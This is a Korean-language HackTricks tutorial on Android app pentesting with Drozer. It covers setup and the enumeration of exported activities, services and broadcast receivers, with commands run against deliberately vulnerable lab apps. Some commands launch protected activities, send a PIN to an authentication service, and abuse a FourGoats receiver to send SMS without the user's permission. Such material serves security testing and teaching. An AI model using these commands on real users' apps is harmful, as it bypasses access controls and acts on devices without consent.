hacktricks/mobile-pentesting/android-app-pentesting/drozer-tutorial
2024-05-05 22:46:17 +00:00
..
exploiting-content-providers.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:46:17 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:46:17 +00:00

Drozer 튜토리얼

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가 수준까지 배우세요 !!

HackTricks를 지원하는 다른 방법:

버그 바운티 팁: 해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼Intigriti에 가입하세요! https://go.intigriti.com/hacktricks에서 오늘 가입하고 최대 $100,000의 바운티를 받아보세요!

{% embed url="https://go.intigriti.com/hacktricks" %}

테스트할 APKs

이 튜토리얼의 일부는 Drozer 문서 pdf에서 추출되었습니다.

설치

호스트에 Drozer 클라이언트를 설치하세요. 최신 릴리스에서 다운로드하세요.

pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity

최신 릴리스에서 drozer APK를 다운로드하고 설치합니다. 현재 이 링크에서 다운로드할 수 있습니다: 여기.

adb install drozer.apk

서버 시작

에이전트는 포트 31415에서 실행 중이며, Drozer 클라이언트와 에이전트 간의 통신을 확립하기 위해 포트 포워딩이 필요합니다. 다음은 그 명령어입니다:

adb forward tcp:31415 tcp:31415

마지막으로 애플리케이션실행하고 아래쪽의 "ON"을 누릅니다.

그리고 연결합니다:

drozer console connect

흥미로운 명령어

명령어 설명
Help MODULE 선택한 모듈의 도움말을 표시합니다.
list 현재 세션에서 실행할 수 있는 모든 drozer 모듈의 목록을 표시합니다. 이는 적절한 권한이 없어 실행할 수 없는 모듈을 숨깁니다.
shell 기기에서 에이전트의 컨텍스트에서 대화형 Linux 셸을 시작합니다.
clean Android 기기에 drozer에 의해 저장된 임시 파일을 제거합니다.
load drozer 명령을 포함하는 파일을로드하고 순서대로 실행합니다.
module 인터넷에서 추가 drozer 모듈을 찾아 설치합니다.
unset drozer가 생성하는 모든 Linux 셸에 전달되는 이름이 지정된 변수를 제거합니다.
set drozer에 의해 생성된 모든 Linux 셸에 환경 변수로 전달될 값을 저장합니다.
shell 에이전트의 컨텍스트에서 기기에서 대화형 Linux 셸을 시작합니다.
run MODULE drozer 모듈을 실행합니다.
exploit Drozer는 실행할 exploits를 생성할 수 있습니다. drozer exploit list
payload exploits에는 페이로드가 필요합니다. drozer payload list

패키지

패키지의 이름을 일부분의 이름으로 필터링하여 찾습니다:

dz> run app.package.list -f sieve
com.mwr.example.sieve

패키지의 기본 정보:

dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS

Manifest를 읽으세요:

run app.package.manifest jakhar.aseem.diva

패키지의 공격 표면:

dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
  • Activities: 어떤 종류의 권한을 우회하여 활동을 시작할 수 있습니다.
  • Content providers: 개인 데이터에 액세스하거나 취약점 (SQL Injection 또는 경로 탐색)을 악용할 수 있습니다.
  • Services:
  • is debuggable: 자세히 알아보기

Activities

AndroidManifest.xml 파일에서 내보낸 활동 구성 요소의 "android:exported" 값이 **"true"**로 설정되어 있습니다.

<activity android:name="com.my.app.Initial" android:exported="true">
</activity>

내보낸 활동 목록:

dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList

액티비티 시작:

어쩌면 액티비티를 시작하고, 시작을 방지해야 하는 어떤 종류의 권한을 우회할 수 있을지도 모릅니다.

{% code overflow="wrap" %}

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

{% endcode %}

adb를 사용하여 내보낸 활동을 시작할 수도 있습니다:

  • PackageName은 com.example.demo입니다
  • 내보낸 ActivityName은 com.example.test.MainActivity입니다
adb shell am start -n com.example.demo/com.example.test.MainActivity

콘텐츠 제공자

이 게시물은 여기에 있을 정도로 크기가 컸으므로 자체 페이지에서 액세스할 수 있습니다.

서비스

내보낸 서비스는 Manifest.xml 내에서 선언됩니다:

{% code overflow="wrap" %}

<service android:name=".AuthService" android:exported="true" android:process=":remote"/>

{% endcode %}

코드 내부에서 handleMessage 함수를 확인하십시오. 이 함수는 메시지수신할 것입니다:

서비스 목록

dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null

서비스와 상호 작용

app.service.send            Send a Message to a service, and display the reply
app.service.start           Start Service
app.service.stop            Stop Service

예시

app.service.send에 대한 drozer 도움말을 살펴보세요:

"msg.what" 내부의 데이터를 먼저 보내고, 그 다음으로 "msg.arg1" 및 "msg.arg2"를 보내게 됩니다. 코드 내부에서 어떤 정보가 사용되는지 및 어디에서 확인해야 하는지 확인해야 합니다.
--extra 옵션을 사용하면 "_msg.replyTo"에서 해석된 내용을 보낼 수 있으며, --bundle-as-obj를 사용하여 제공된 세부 정보로 객체를 생성할 수 있습니다.

다음 예시에서:

  • what == 2354
  • arg1 == 9234
  • arg2 == 1
  • replyTo == object(string com.mwr.example.sieve.PIN 1337)
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj

브로드캐스트 수신기

Android 기본 정보 섹션에서 브로드캐스트 수신기가 무엇인지 확인할 수 있습니다.

이 브로드캐스트 수신기를 발견한 후에는 그들의 코드를 확인해야 합니다. 수신된 메시지를 처리할 onReceive 함수에 특별히 주의를 기울여야 합니다.

run app.broadcast.info #Detects all

앱의 브로드캐스트 수신기 확인

#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.

# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null

방송 상호 작용

app.broadcast.info          Get information about broadcast receivers
app.broadcast.send          Send broadcast using an intent
app.broadcast.sniff         Register a broadcast receiver that can sniff particular intents

메시지 보내기

이 예에서는 FourGoats apk Content Provider를 남용하여 사용자의 허락을 요청하지 않고 임의의 SMS비프리미엄 대상으로 보낼 수 있습니다.

코드를 읽으면 "phoneNumber" 및 "message" 매개변수를 Content Provider로 보내야 합니다.

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"

디버그 가능 여부

프로덕션 APK는 절대 디버그할 수 없어야 합니다.
이는 실행 중인 애플리케이션에 자바 디버거를 연결하여 검사하고, 실행 중에 중단점을 설정하고, 단계별로 진행하고, 변수 값을 수집하고 심지어 변경할 수 있음을 의미합니다. InfoSec institute에는 훌륭한 기사가 있습니다. 애플리케이션이 디버그 가능하고 런타임 코드를 삽입할 때 더 깊이 파고들 수 있습니다.

애플리케이션이 디버그 가능한 경우 Manifest에 나타납니다:

<application theme="@2131296387" debuggable="true"

Drozer를 사용하여 모든 디버깅 가능한 애플리케이션을 찾을 수 있습니다:

run app.package.debuggable

튜토리얼

추가 정보

버그 바운티 팁: Intigriti에 가입하여 해커들이 만든 프리미엄 버그 바운티 플랫폼에 가입하세요! https://go.intigriti.com/hacktricks에서 오늘 가입하고 최대 $100,000의 바운티를 받아보세요!

{% embed url="https://go.intigriti.com/hacktricks" %}

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법: